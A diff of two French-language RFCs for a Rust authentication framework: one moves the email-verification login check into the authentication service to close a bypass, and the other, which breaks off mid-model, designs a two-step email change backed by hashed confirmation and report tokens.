| 43 | +Call sites de `authenticate_user` dans ce dépôt : **uniquement** `handlers::login`. Gitrust (et tout handler SSR custom) qui appelle le **service** saute les lignes 313–340 : mot de passe OK + `email_verified=false` → session/JWT quand même. | |
| 44 | + | |
| 45 | +`verify_credentials` (~L50) reste le primitive « mot de passe seulement » — utilisé par [`totp_handler`](../../crates/rustwarden-ui/src/handlers/totp_handler.rs) (~L336) pour re-prompt password au setup 2FA. **Ne pas** y coller le check e-mail. | |
| 46 | + | |
| 47 | +### Bootstrap admin | |
| 48 | + | |
| 49 | +[`ensure_default_admin`](../../crates/rustwarden-core/src/services/default_admin_service.rs) (~L86) pose déjà `email_verified = Set(true)` après `create_user`. **Ne pas** retravailler ce seed. L’admin par défaut passe le nouveau check. Les users `register` restent `email_verified=false` ([`create_user`](../../crates/rustwarden-core/src/services/user_service.rs) ~L50). | |
| 50 | + | |
| 51 | +### Qui est impacté | |
| 52 | + | |
| 53 | +- Gitrust / apps qui login via le service au lieu de `/api/v1/auth/login`. | |
| 54 | +- `rustwarden-ui` : [`login.html`](../../crates/rustwarden-ui/templates/login.html) fait déjà `fetch('/api/v1/auth/login')` — comportement **identique** après déplacement (le handler délègue). | |
| 55 | +- Utilisateurs non vérifiés : toujours bloqués si le setting est vrai (défaut `true`). | |
| 56 | + | |
| 57 | +### Si on ne fait rien | |
| 58 | + | |
| 59 | +Politique `validation_email_required` = théâtre HTTP. Un consommateur « bien intentionné » qui factorise le login sur `authenticate_user` ouvre un bypass. RFC 0038 (un-verify au change d’e-mail) serait inefficace sur ces chemins. | |
| 60 | + | |
| 61 | +### Urgence | |
| 62 | + | |
| 63 | +Pas un patch 1.0.1. Durcissement de la porte d’auth unique. Breaking comportemental **voulu** pour les callers service. | |
| 64 | + | |
| 65 | +## Non-goals | |
| 66 | + | |
| 67 | +- **Pas de nouveau middleware browser obligatoire** (E-2). Le limiteur login **est** le layer [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) (~L223) monté sur [`auth_api_routes`](../../crates/rustwarden-core/src/auth/routes.rs) (`/api/v1/auth/login`, register, refresh, forgot-password, 2FA verify, resend-verification). Helper public inchangé : `check_auth_rate_limit(&HeaderMap)`. | |
| 68 | +- **SSR `POST /login`** : soit appeler `check_auth_rate_limit` (ou le layer), soit **passer par** `POST /api/v1/auth/login` (comme `rustwarden-ui`). Cette RFC **n’ajoute pas** de layer CSRF/rate-limit sur les routes HTML. | |
| 69 | +- **Pas de rework** `default_admin_service` / seed `email_verified=true`. | |
| 70 | +- **Pas de check dans** `verify_credentials` (setup TOTP, re-auth password). | |
| 71 | +- **Pas de révocation** des JWT déjà émis pour un compte non vérifié. | |
| 72 | +- **Pas de changement** du message d’erreur actuel (français, `AppError::Validation`) au premier PR — l’UI parse `err.error` / `err.message`. | |
| 73 | +- **Pas de newtype / nouvel `AppError::EmailNotVerified`** dans cette RFC (open question). | |
| 74 | +- **Pas d’OAuth** : le signup OAuth a son propre `email_verified` provider. | |
| 75 | + | |
| 76 | +## API proposée | |
| 77 | + | |
| 78 | +Signature **inchangée** : | |
| 79 | + | |
| 80 | +```rust | |
| 81 | +// crates/rustwarden-core/src/services/auth_service.rs | |
| 82 | +impl AuthService { | |
| 83 | + /// Authenticate user (password + optional email-verified policy). | |
| 84 | + /// | |
| 85 | + /// 1. [`Self::verify_credentials`] | |
| 86 | + /// 2. Log `must_change_password` (does not block) | |
| 87 | + /// 3. If `validation_email_required` / `validation_email_requise` | |
| 88 | + /// (default `true`) and `!user.email_verified` → [`AppError::Validation`] | |
| 89 | + pub async fn authenticate_user( | |
| 90 | + db: &DatabaseConnection, | |
| 91 | + identifier: &str, | |
| 92 | + password: &str, | |
| 93 | + ) -> Result<user::Model, AppError> { /* ... */ } | |
| 94 | +} | |
| 95 | +``` | |
| 96 | + | |
| 97 | +Corps **après Accept** (proposition ; Draft, ne compile pas tel quel tant que les `use` ne sont pas ajoutés) : | |
| 98 | + | |
| 99 | +```rust | |
| 100 | +pub async fn authenticate_user( | |
| 101 | + db: &DatabaseConnection, | |
| 102 | + identifier: &str, | |
| 103 | + password: &str, | |
| 104 | +) -> Result<user::Model, AppError> { | |
| 105 | + let user = Self::verify_credentials(db, identifier, password).await?; | |
| 106 | + | |
| 107 | + if user.must_change_password { | |
| 108 | + tracing::info!("User {} should change password (flag set)", user.username); | |
| 109 | + } | |
| 110 | + | |
| 111 | + let email_validation_required = | |
| 112 | + crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback( | |
| 113 | + db, | |
| 114 | + &["validation_email_required", "validation_email_requise"], | |
| 115 | + true, | |
| 116 | + ) | |
| 117 | + .await | |
| 118 | + .unwrap_or(true); | |
| 119 | + | |
| 120 | + if email_validation_required && !user.email_verified { | |
| 121 | + tracing::warn!( | |
| 122 | + "Login attempt blocked (unverified email): {} ({})", | |
| 123 | + user.username, | |
| 124 | + user.email | |
| 125 | + ); | |
| 126 | + let _ = crate::services::auth_logging::AuthLoggingService::log_blocked_login( | |
| 127 | + db, | |
| 128 | + &user.email, | |
| 129 | + "email_not_verified", | |
| 130 | + None, | |
| 131 | + ) | |
| 132 | + .await; | |
| 133 | + return Err(AppError::Validation( | |
| 134 | + "Votre email n'est pas vérifié. Cliquez sur « Renvoyer l'email de validation » pour recevoir un nouveau lien.".to_string(), | |
| 135 | + )); | |
| 136 | + } | |
| 137 | + | |
| 138 | + Ok(user) | |
| 139 | +} | |
| 140 | +``` | |
| 141 | + | |
| 142 | +Notes d’implémentation : | |
| 143 | + | |
| 144 | +- `unwrap_or(true)` : lookup setting en erreur → **fail-closed** (exiger la vérif), comme le handler. | |
| 145 | +- `log_blocked_login(..., hooks: None)` : l’`audit_logs` row est écrite ; `on_audit_event` du handler HTTP **ne** part plus de `login` sauf si on ajoute un paramètre `hooks` (open question). Gitrust qui appelait le service n’avait **aucun** check : un audit_log sans hook reste un plus. | |
| 146 | +- Handler `login` : **supprimer** le bloc 313–340 (évite double lecture setting + double log). Enchaîner TOTP / tokens comme aujourd’hui. | |
| 147 | +- Coût : la même requête `app_settings` qu’aujourd’hui, déplacée. | |
| 148 | + | |
| 149 | +### Usage consommateur (Gitrust / SSR) | |
| 150 | + | |
| 151 | +```rust | |
| 152 | +use rustwarden_core::error::AppError; | |
| 153 | +use rustwarden_core::middleware::rate_limit::check_auth_rate_limit; | |
| 154 | +use rustwarden_core::services::auth_service::AuthService; | |
| 155 | +use axum::http::HeaderMap; | |
| 156 | +use sea_orm::DatabaseConnection; | |
| 157 | + | |
| 158 | +async fn ssr_login( | |
| 159 | + db: &DatabaseConnection, | |
| 160 | + headers: &HeaderMap, | |
| 161 | + identifier: &str, | |
| 162 | + password: &str, | |
| 163 | +) -> Result<(), AppError> { | |
| 164 | + // E-2: this RFC does not add a browser middleware. | |
| 165 | + if let Err(resp) = check_auth_rate_limit(headers) { | |
| 166 | + let _ = resp; // map to AppError::TooManyRequests at impl time | |
| 167 | + return Err(AppError::TooManyRequests { | |
| 168 | + retry_after_secs: 60, | |
| 169 | + }); | |
| 170 | + } | |
| 171 | + let _user = AuthService::authenticate_user(db, identifier, password).await?; | |
| 172 | + Ok(()) | |
| 173 | +} | |
| 174 | +``` | |
| 175 | + | |
| 176 | +Chemin **recommandé** : ne pas dupliquer, `fetch`/`POST` `/api/v1/auth/login` (layer `auth_ip_rate_limit` déjà là, `ConnectInfo` via `RustwardenApp::run`). | |
| 177 | + | |
| 178 | +`check_auth_rate_limit` sans `ConnectInfo` clé `auth:unknown` si `TRUSTED_PROXY_HOPS=0` — c’est le contrat 1.0.1 ; les apps SSR doivent préférer le layer ou `into_make_service_with_connect_info`. | |
| 179 | + | |
| 180 | +## Analyse de compatibilité | |
| 181 | + | |
| 182 | +Checklist : | |
| 183 | + | |
| 184 | +- [x] API existante non modifiée → signature `authenticate_user` inchangée (**compile**). | |
| 185 | +- [ ] API existante étendue avec défaut → N/A. | |
| 186 | +- [x] API existante modifiée ou supprimée → **breaking comportemental** pour tout caller service qui login un user `email_verified=false` alors que le setting est true. | |
| 187 | +- [x] Nouveau comportement par défaut du **service** (le HTTP l’avait déjà). Pas de feature-flag au-delà du setting existant. | |
| 188 | +- [ ] Changement de schéma DB → non. | |
| 189 | +- [ ] Changement de format sérialisé → le JSON `login` inchangé (même `AppError::Validation`). | |
| 190 | + | |
| 191 | +SemVer : minor `Security` documenté, ou major processus §1. Open question. Gitrust **doit** s’attendre au blocage (c’est le bugfix). | |
| 192 | + | |
| 193 | +HTTP `login` : non-breaking fonctionnel (même message, même setting). | |
| 194 | + | |
| 195 | +## Alternatives considérées | |
| 196 | + | |
| 197 | +**Minimum 3 alternatives** avec analyse pros/cons, y compris "ne rien faire". Sans ça la RFC est incomplète : on ne peut pas juger une proposition sans son coût relatif. | |
| 198 | + | |
| 199 | +### Alternative A (recommandée) : déplacer le check dans `authenticate_user` | |
| 200 | + | |
| 201 | +**Pros** : une porte, impossible à contourner via le service. Même setting / même message / même fail-closed. Admin seed déjà `email_verified=true`. Handler allégé. RFC 0038 devient effective partout. | |
| 202 | + | |
| 203 | +**Cons** : breaking pour Gitrust SSR. `on_audit_event` du handler login ne voit plus ce blocage sauf `hooks` passé au service (None au v1). Un `SELECT` settings sur tous les callers service (voulus). | |
| 204 | + | |
| 205 | +### Alternative B : documenter « les consommateurs doivent recopier le check » | |
| 206 | + | |
| 207 | +**Pros** : zéro diff core service ; HTTP inchangé. | |
| 208 | + | |
| 209 | +**Cons** : exactement le gap actuel. Deux implémentations (HTTP vs Gitrust) dérivent. `validation_email_requise` oublié d’un côté. Contredit « lowest common denominator » du processus. | |
| 210 | + | |
| 211 | +### Alternative C (ne rien faire) | |
| 212 | + | |
| 213 | +**Pros** : zéro coût, zéro risque de casser un login Gitrust non vérifié (s’il en existe en prod). | |
| 214 | + | |
| 215 | +**Cons** : bypass service à vie ; 0038 inefficace hors HTTP ; dette audit Task 17. | |
| 216 | + | |
| 217 | +## Testing plan | |
| 218 | + | |
| 219 | +Tests unitaires / service (DB de test) : | |
| 220 | + | |
| 221 | +- Happy path : user `email_verified=true`, setting true → `authenticate_user` `Ok(user)` (credentials valides). | |
| 222 | +- Happy path setting off : `validation_email_required=false`, user non vérifié → `Ok(user)`. | |
| 223 | +- Erreur 1 — input invalide : mauvais mot de passe → `AppError::InvalidCredentials` **avant** le check e-mail (pas d’oracle « compte existe mais non vérifié » vs « mauvais mot de passe » au-delà de ce que `verify_credentials` fait déjà). | |
| 224 | +- Erreur 2 — contrainte politique : setting true (ou absent, défaut true), `email_verified=false`, bon mot de passe → `AppError::Validation` avec le message français actuel ; une row `audit_logs` `login_blocked` / `email_not_verified`. | |
| 225 | +- Erreur 3 — lookup setting `DbErr` : `unwrap_or(true)` → user non vérifié bloqué (fail-closed), pas de panic ; user vérifié toujours `Ok`. | |
| 226 | +- Admin bootstrap : `ensure_default_admin` puis `authenticate_user(ADMIN_USERNAME, ADMIN_PASSWORD)` → `Ok` (email déjà true). **Ne pas** modifier le seed ; c’est un test de non-régression. | |
| 227 | + | |
| 228 | +Tests d’intégration (handler HTTP) : | |
| 229 | + | |
| 230 | +- `POST /api/v1/auth/login` user non vérifié → même 4xx / body qu’aujourd’hui (après suppression du bloc handler). | |
| 231 | +- `POST /api/v1/auth/login` reste derrière `auth_ip_rate_limit` (tests existants `auth/routes.rs`). | |
| 232 | +- `verify_credentials` seul (chemin TOTP UI) : user non vérifié + bon password → **toujours Ok** (pas de régression setup 2FA). | |
| 233 | + | |
| 234 | +Tests de non-régression : | |
| 235 | + | |
| 236 | +- Consommateurs **compilent**. | |
| 237 | +- `must_change_password` toujours logged, jamais bloquant dans `authenticate_user`. | |
| 238 | +- `rustwarden-ui` login page : pas de nouveau middleware ; continue d’appeler l’API. | |
| 239 | + | |
| 240 | +Doctests : | |
| 241 | + | |
| 242 | +- Rustdoc anglais sur `authenticate_user` : politique e-mail + pointeur `verify_credentials`. Exemple I/O en `ignore`. Contrat lisible sans DB. | |
| 243 | + | |
| 244 | +Benchs : un `get_bool_with_fallback` déjà payé par HTTP. Pas de nouveau bcrypt. Pas de seuil 10 %. | |
| 245 | + | |
| 246 | +Les snippets `ssr_login` sont documentaires ; `TooManyRequests` mapping est indicatif. | |
| 247 | + | |
| 248 | +## Migration guide | |
| 249 | + | |
| 250 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. | |
| 251 | + | |
| 252 | +```markdown | |
| 253 | +### API changes | |
| 254 | + | |
| 255 | +**Before (v1.0.1)** : | |
| 256 | +Le contrôle `email_verified` vivait dans `auth::handlers::login` | |
| 257 | +(`get_bool_with_fallback(["validation_email_required", | |
| 258 | +"validation_email_requise"], true)`). `AuthService::authenticate_user` | |
| 259 | +ne vérifiait que le mot de passe. Un SSR / Gitrust qui appelait le | |
| 260 | +service contournait la politique. | |
| 261 | + | |
| 262 | +**After (vX.Y.Z)** : | |
| 263 | +Le même contrôle (mêmes clés, défaut `true`, fail-closed, même | |
| 264 | +`AppError::Validation` français) est dans `authenticate_user`. | |
| 265 | +Le handler `login` ne le duplique plus. `verify_credentials` inchangé | |
| 266 | +(re-auth TOTP). `ensure_default_admin` pose déjà `email_verified=true` | |
| 267 | +— pas de changement de seed. | |
| 268 | + | |
| 269 | +Breaking pour les callers de `authenticate_user` : un compte non | |
| 270 | +vérifié est désormais refusé si le setting est actif. | |
| 271 | + | |
| 272 | +E-2 : pas de nouveau middleware browser. Limiteur = | |
| 273 | +`auth_ip_rate_limit` sur `/api/v1/auth/*`. Un `POST /login` SSR doit | |
| 274 | +appeler `check_auth_rate_limit` **ou** passer par l'API. | |
| 275 | + | |
| 276 | +```rust | |
| 277 | +let user = AuthService::authenticate_user(db, identifier, password).await?; | |
| 278 | +``` | |
| 279 | + | |
| 280 | +### Migration steps | |
| 281 | + | |
| 282 | +1. Bump `rustwarden-core` à la version qui livre RFC 0040. | |
| 283 | +2. Gitrust : grep `authenticate_user` — s'attendre au `Validation` | |
| 284 | + e-mail non vérifié ; ne **pas** réimplémenter le check à côté. | |
| 285 | +3. Routes SSR `POST /login` : `check_auth_rate_limit` ou proxy API. | |
| 286 | + Pas d'obligation de nouveau layer. | |
| 287 | +4. Vérifier que l'admin par défaut se connecte toujours (seed | |
| 288 | + `email_verified=true`). | |
| 289 | +5. Aucune migration SQL. | |
| 290 | +``` | |
| 291 | + | |
| 292 | +## Open questions | |
| 293 | + | |
| 294 | +Liste des points en suspens. La RFC ne peut pas être acceptée tant qu’ils ne sont pas résolus : | |
| 295 | + | |
| 296 | +- [x] **`hooks` sur `authenticate_user`** : rester `log_blocked_login(..., None)` (recommandé v1, signature stable) vs `Option<&Arc<dyn RustwardenHooks>>` (breaking ou surcharge) ? **Résolu (2026-09-18) : v1 : `log_blocked_login(..., None)`, pas de paramètre `hooks` (signature stable).** | |
| 297 | +- [x] **`AppError::EmailNotVerified`** : garder `Validation` (compat UI) vs variante dédiée (meilleur i18n, breaking JSON) ? **Résolu (2026-09-18) : garder `AppError::Validation` avec le message français actuel (compat UI qui parse `err.error`/`err.message`).** | |
| 298 | +- [x] **SemVer** : minor Security vs major (comportement service) ? **Résolu (2026-09-18) : 1.1.0 minor Security.** | |
| 299 | +- [x] **Tracking GitHub** : ouvrir l’issue avant `Under Review`. **Résolu (2026-09-18) : suivi interne via docs/plans/2026-09-17-securisation-upstream-audit-gitrust.md.** | |
| 300 | + | |
| 301 | +## Tracking issue | |
| 302 | + | |
| 303 | +À ouvrir sur le dépôt Rustwarden (labels `area:auth` + `security` + `rfc`) en référençant Task 17, E-2 et Gitrust. Pas d’URL tant que le Draft n’est pas soumis. | |
| 304 | + | |
| 305 | +--- | |
| 306 | + | |
| 307 | +## Score d'évaluation (rempli par les reviewers) | |
| 308 | + | |
| 309 | +Notes **proposées par l’auteur** (Draft) ; les reviewers confirment ou ajustent. Seuil Accepted : ≥ 25/35. | |
| 310 | + | |
| 311 | +| Critère | Note (1-5) | Commentaire | | |
| 312 | +|---|---|---| | |
| 313 | +| Généralité | 5 | Tous les callers `authenticate_user` ; Gitrust n’a plus de bypass. | | |
| 314 | +| Stabilité API | 4 | Signature identique ; breaking comportemental service (voulu, HTTP inchangé). | | |
| 315 | +| Performance | 5 | Même `get_bool_with_fallback` qu’avant, juste déplacé ; pas de bcrypt extra. | | |
| 316 | +| Sécurité | 5 | Ferme le trou SSR/service ; fail-closed ; `verify_credentials` reste utilisable. | | |
| 317 | +| Complexité d'implémentation | 5 | Déplacer ~25 lignes + tests ; seed admin intact. | | |
| 318 | +| Charge de maintenance | 5 | Une politique, un endroit ; plus de drift handler vs service. | | |
| 319 | +| Documentation | 4 | RFC + CHANGELOG + rustdoc + contrat E-2 rate-limit. | | |
| 320 | +| **Total** | **33/35** | (≥ 25 pour Accepted) | |
A
docs/rfcs/0041-pending-email-changes.md
+1070
-0
@@ -0,0 +1,1070 @@
| 1 | +# RFC 0041 — Changement d'e-mail en deux temps (`pending_email_changes`) | |
| 2 | + | |
| 3 | +- **Auteur** : EBO (origine audit Gitrust / suite de la RFC 0038) | |
| 4 | +- **Date** : 2026-09-19 | |
| 5 | +- **Statut** : Accepted (2026-09-19) | |
| 6 | +- **Apps consommatrices concernées** : Gitrust ; `rustwarden-ui` (`PUT /settings/profile`, `PUT /admin/users/{id}`) ; tout consommateur headless qui appelle `UserService::update_profile` avec un e-mail | |
| 7 | +- **Crate cible** : `rustwarden-core` (**core uniquement**) | |
| 8 | +- **Origine** : § « v2 (follow-up) » de la [RFC 0038](0038-email-change-revalidation.md) (L117-121), déclenchée par le mode de panne documenté dans [`docs/MIGRATION_GUIDE.md`](../MIGRATION_GUIDE.md) (§ RFC 0038, « Faute de frappe sur la nouvelle adresse = lock-out définitif sans recours self-service ») | |
| 9 | +- **Remplace** : [RFC 0038](0038-email-change-revalidation.md) — basculée en `Superseded by 0041` (fait le 2026-09-19) | |
| 10 | + | |
| 11 | +> **Arbitrages du mainteneur rendus le 2026-09-19.** Les neuf Open questions sont tranchées (§ [Open questions](#open-questions)) et leurs conséquences sont intégrées au corps du document : méthode `admin_force_change`, page interstitielle `GET` → `POST` sur les **deux** liens, migration d'`invalidate_on_email_change` dans `confirm_change`, émission d'`on_email_verified` côté service, `PendingEmailChangeCleanupProcessor` avec rétention de 30 jours en constante. | |
| 12 | + | |
| 13 | +## Summary | |
| 14 | + | |
| 15 | +Ne plus jamais écrire `users.email` avant preuve de possession : une demande de changement d'adresse atterrit dans une table `pending_email_changes` (token hashé + expiration), l'adresse du compte reste **inchangée et vérifiée** tant que le lien envoyé à la nouvelle boîte n'a pas été suivi **et** confirmé sur la page qu'il ouvre, et l'ancienne boîte reçoit une information assortie d'un lien de signalement. Le seul chemin qui écrit une adresse sans cette preuve est `EmailChangeService::admin_force_change`, réservé au rôle `admin` et tracé dans `audit_logs`. | |
| 16 | + | |
| 17 | +## Motivation | |
| 18 | + | |
| 19 | +### Problème concret | |
| 20 | + | |
| 21 | +La v1 (RFC 0038, implémentée dans [`user_service.rs`](../../crates/rustwarden-core/src/services/user_service.rs) L277-312 + `notify_email_change` L327-419) écrit l'adresse **immédiatement**, puis bascule `email_verified = false` / `email_verified_at = NULL`. | |
| 22 | + | |
| 23 | +Chaîne de panne, déjà décrite noir sur blanc dans le guide de migration : | |
| 24 | + | |
| 25 | +1. L'utilisateur saisit `bob@gmial.com` au lieu de `bob@gmail.com`. | |
| 26 | +2. `update_profile` écrit la faute de frappe dans `users.email` et retire le flag vérifié. | |
| 27 | +3. Le mail de validation part vers `bob@gmial.com` — boîte que l'utilisateur ne possède pas. | |
| 28 | +4. L'ancienne adresse ne reçoit qu'une alerte `account_modified` **sans lien d'action** (`user_service.rs` L359-418, type de queue `"account_modified"`). | |
| 29 | +5. Les deux voies de secours (`POST /api/v1/auth/resend-verification` et `.../by-username`, montées dans [`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs) L45-52) renvoient vers l'adresse **stockée** — donc vers la faute de frappe. | |
| 30 | +6. Avec `validation_email_required` actif (défaut, RFC 0040), la **prochaine** connexion est refusée. | |
| 31 | + | |
| 32 | +Résultat : lock-out sans recours self-service, correctible uniquement par un administrateur. Le coût de l'erreur est maximal alors que l'erreur elle-même est banale. | |
| 33 | + | |
| 34 | +Le second mode de panne v1 est la **session volée** : un attaquant qui dispose d'un JWT valide peut réécrire `users.email` sans connaître le mot de passe. L'alerte part vers l'ancienne boîte, mais elle arrive **après** l'écriture, et sans moyen d'action. | |
| 35 | + | |
| 36 | +### Qui est impacté | |
| 37 | + | |
| 38 | +- **Tout utilisateur** qui change d'adresse via le profil ou via l'admin : un caractère de travers coûte un ticket support. | |
| 39 | +- **Les opérateurs** : `PUT /admin/users/{id}` est aujourd'hui la seule procédure de déblocage. | |
| 40 | +- **Gitrust et les apps headless** : elles héritent du comportement dès qu'elles appellent `UserService::update_profile`. | |
| 41 | +- **`rustwarden-ui`** : son formulaire de profil (`crates/rustwarden-ui/src/handlers/settings/profile.rs` L24-51) poste `username` **et** `email` dans le même DTO. | |
| 42 | + | |
| 43 | +### Si on ne fait rien | |
| 44 | + | |
| 45 | +On livre en 1.1.0 un durcissement sécurité (v1 : le flag vérifié ne suit plus l'adresse) dont l'effet de bord est une **régression de disponibilité** pour l'utilisateur légitime. Le guide de migration recommande déjà aux consommateurs d'ajouter une double saisie d'adresse côté UI : c'est du contournement applicatif dupliqué dans chaque consommateur, exactement ce que le framework est censé éviter. | |
| 46 | + | |
| 47 | +### Urgence | |
| 48 | + | |
| 49 | +La v1 **n'est pas diffusée** : `crates/rustwarden-core/Cargo.toml` L3 est toujours `version = "1.0.0"`, le train `1.1.0` du `CHANGELOG.md` n'est pas coupé. La fenêtre pour substituer 0041 à 0038 **sans période de compatibilité** est ouverte maintenant et se referme à la publication de 1.1.0. Aucun consommateur n'aura jamais vu le comportement v1. | |
| 50 | + | |
| 51 | +## Non-goals | |
| 52 | + | |
| 53 | +- **Pas de refonte de l'UI — décision confirmée le 2026-09-19.** `rustwarden-ui` reçoit la seule adaptation **non cassante** nécessaire (le champ e-mail du formulaire profil ne doit plus produire d'erreur serveur). La **refonte UI complète** du parcours — écran « demande en cours », bouton « annuler la demande », double saisie de l'adresse, appel du nouvel endpoint depuis le formulaire, écran de suivi côté admin — est un **chantier séparé et ultérieur**, explicitement hors périmètre. Corollaire assumé : entre le merge de cette RFC et ce chantier, le seul chemin utilisateur du changement d'adresse est l'appel API `POST /api/v1/auth/email-change`. | |
| 54 | +- **Pas de changement de signature** de `UserService::update_profile` : elle reste `(db, user_id, username: Option<String>, email: Option<String>)`. Seul le **comportement** de la branche e-mail change. | |
| 55 | +- **Pas de modification du flow `register`, et pas de traitement de la faute de frappe à l'inscription — tranché le 2026-09-19.** `create_user` pose déjà `email_verified: false` et `EmailValidationService::send_validation_email` reste la porte de validation initiale. `register` écrit l'adresse saisie **sans double vérification** : un utilisateur qui se trompe au signup reste bloqué, et cette RFC ne change rien à cela. La justification du découpage : à l'inscription, le compte n'est **pas encore établi** et il n'existe **aucune identité à protéger** — c'est un flux de nature différente du changement d'adresse, où l'enjeu est précisément de ne pas perdre une identité déjà prouvée. L'arbitrage propre à ce flux (double saisie de l'adresse au formulaire d'inscription *vs* renvoi de lien sur demande, *vs* purge des comptes jamais validés) mérite sa propre RFC. **Follow-up à ouvrir** : « faute de frappe à l'inscription », suivi dans `docs/plans/` au même titre que celui de cette RFC. | |
| 56 | +- **Pas de refonte de l'i18n des e-mails existants — tranché le 2026-09-19.** Le `// TODO: Get from user preferences or Accept-Language header` de [`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L140 et de [`password_reset_service.rs`](../../crates/rustwarden-core/src/services/password_reset_service.rs) L156 reste en place. Seuls les **quatre nouveaux** templates (les trois du flux utilisateur, plus celui de l'avis administrateur introduit par la décision n° 1) et les **pages interstitielles** lisent la locale du destinataire. | |
| 57 | +- **Pas de révocation des JWT d'accès déjà émis.** `confirm_change` **et** `admin_force_change` révoquent les *refresh tokens* (même contrat que `change_password_direct`, `user_service.rs` L678, et `admin_reset_password`, L631) ; un access token non expiré reste valide jusqu'à son `exp`. Une révocation par `jti` via `JwtBlacklistService` est un chantier distinct. | |
| 58 | +- **Pas de charset e-mail** (RFC 0036 couvre les usernames). La validation reste `contains('@') && contains('.')`, identique à l'existant. | |
| 59 | +- **Pas de blocage sur signalement.** Décision explicite du mainteneur : `report_suspicious` **alerte**, il ne **refuse** pas. Voir § « Pourquoi le signalement ne bloque pas ». | |
| 60 | +- **Aucune nouvelle variable d'environnement — tranché le 2026-09-19.** L'expiration réutilise `EMAIL_VALIDATION_EXPIRATION_HOURS` via [`config::tasks::email_validation_expiration_hours`](../../crates/rustwarden-core/src/config/tasks.rs) L98-100 (défaut 24 h) ; la rétention et la période du processeur de purge sont des **constantes de code** (§ « Rétention et tâche de fond »). Aucune clé n'est ajoutée à `.env`, donc aucun consommateur n'a de configuration à mettre à jour. | |
| 61 | +- **Pas de SQL brut** : SeaORM uniquement, migration via `SchemaManager`. | |
| 62 | + | |
| 63 | +## API proposée | |
| 64 | + | |
| 65 | +> Les snippets ci-dessous sont la **cible acceptée** : ils ne compilent pas tant que la table, le modèle et le service n'existent pas, et l'implémentation peut ajuster les détails internes (noms de variables locales, découpage en helpers privés) tant que les **signatures publiques et les contrats** décrits ici sont respectés. Ils reprennent les patrons **réels** de `EmailValidationService` / `PasswordResetService` (vérifiés 2026-09-19, références de lignes dans le texte). | |
| 66 | + | |
| 67 | +### 1. Schéma | |
| 68 | + | |
| 69 | +Migration `crates/rustwarden-core/src/migrations/m20260919_000011_pending_email_changes.rs`, enregistrée dans [`migrations/mod.rs`](../../crates/rustwarden-core/src/migrations/mod.rs) (`pub mod` L53 + entrée `core_migrations()` L69). Prochain numéro après `m20260918_000010_totp_last_used_step`. | |
| 70 | + | |
| 71 | +| Colonne | Type | Contraintes | | |
| 72 | +|---|---|---| | |
| 73 | +| `id` | `uuid` | PK | | |
| 74 | +| `user_id` | `uuid` | `NOT NULL`, FK → `users.id` `ON DELETE CASCADE`, indexée | | |
| 75 | +| `new_email` | `varchar(255)` | `NOT NULL` (même longueur que `users.email`) | | |
| 76 | +| `token_hash` | `varchar(64)` | `NOT NULL`, `UNIQUE`, indexée (SHA-256 hex) | | |
| 77 | +| `report_token_hash` | `varchar(64)` | `NOT NULL`, `UNIQUE`, indexée (SHA-256 hex, **distinct** du précédent) | | |
| 78 | +| `expires_at` | `timestamptz` | `NOT NULL`, indexée | | |
| 79 | +| `used_at` | `timestamptz` | `NULL` | | |
| 80 | +| `reported_at` | `timestamptz` | `NULL` | | |
| 81 | +| `created_at` | `timestamptz` | `NOT NULL`, `DEFAULT now()` | | |
| 82 | + | |
| 83 | +Patron de migration : [`m20260422_000007_create_personal_access_tokens.rs`](../../crates/rustwarden-core/src/migrations/m20260422_000007_create_personal_access_tokens.rs) (FK cascade L71-77, `string_len(64)` pour un hash SHA-256 L39-44, index explicites L83-117). `down()` = `drop_table`, donc **réversible**. | |
| 84 | + | |
| 85 | +**Élargissement de `chk_email_queue_email_type`** (découvert à l'exécution des tests, pas à la rédaction) : `email_queue.email_type` est encadré par une contrainte `CHECK` listant les valeurs admises, posée par [`m20260305_000001_initial_schema.rs`](../../crates/rustwarden-core/src/migrations/m20260305_000001_initial_schema.rs) L822-838. Les quatre types que cette RFC met en file (`email_change_validation`, `email_change_notice`, `email_change_reported`, `email_change_by_admin`) n'y figurent pas : sans élargissement, **le tout premier `INSERT` du flux échoue** avec une violation `23514` et `request_change` remonte une `AppError::Database`. La même migration reconstruit donc la contrainte avec les onze valeurs. Elle n'est pas supprimée : un `email_type` inconnu doit rester rejeté. Le `down()` ne resserre la liste que si plus aucune ligne n'utilise les nouveaux types (bloc `DO $$`), pour qu'un rollback ne détruise jamais d'historique d'envoi. SQL brut assumé ici : `sea-query` n'exprime pas de `CHECK` dans un `ALTER TABLE`, c'est déjà l'approche du schéma initial. | |
| 86 | + | |
| 87 | +Pas d'index unique partiel « une seule demande pendante par utilisateur » : `sea-query` ne l'exprime pas portablement. L'unicité fonctionnelle est assurée applicativement par `invalidate_previous_requests`, exactement comme `EmailValidationService::invalidate_previous_tokens` ([`email_validation_service.rs`](../../crates/rustwarden-core/src/services/email_validation_service.rs) L375-395). | |
| 88 | + | |
| 89 | +**Deux tokens distincts** : le lien de confirmation part vers la nouvelle boîte, le lien de signalement vers l'ancienne. Un token unique partagé permettrait au détenteur de la nouvelle boîte de « signaler » à la place du titulaire, et au titulaire de confirmer sans posséder la nouvelle adresse. Deux secrets, deux capacités. | |
| 90 | + | |
| 91 | +### 2. Modèle SeaORM | |
| 92 | + | |
| 93 | +`crates/rustwarden-core/src/models/pending_email_change.rs`, déclaré dans `models/mod.rs` (patron `email_validation_token` L14 + re-export `Entity` L60). | |
| 94 | + | |
| 95 | +```rust | |
| 96 | +/// PendingEmailChange entity model. | |
| 97 | +/// | |
| 98 | +/// Holds an email-change request that has **not** been applied yet. Until the | |
| 99 | +/// confirmation is submitted, `users.email` keeps its current — verified — | |
| 100 | +/// value: the account is never left pointing at an unproven address. | |
| 101 | +/// | |
| 102 | +/// # Security features | |
| 103 | +/// | |
| 104 | +/// - Two independent SHA-256 hashes: `token_hash` (confirmation, mailed to the | |
| 105 | +/// new address) and `report_token_hash` (abuse report, mailed to the current | |
| 106 | +/// address). Plain tokens are never stored. | |
| 107 | +/// - Expiration: reuses `EMAIL_VALIDATION_EXPIRATION_HOURS` (24 h by default). | |
| 108 | +/// - Single use: `used_at` is set when the change is applied. | |
| 109 | +/// - Cascade delete: rows are removed when the user is deleted. | |
| 110 | +#[derive(Clone, Debug, Serialize, Deserialize, DeriveEntityModel)] | |
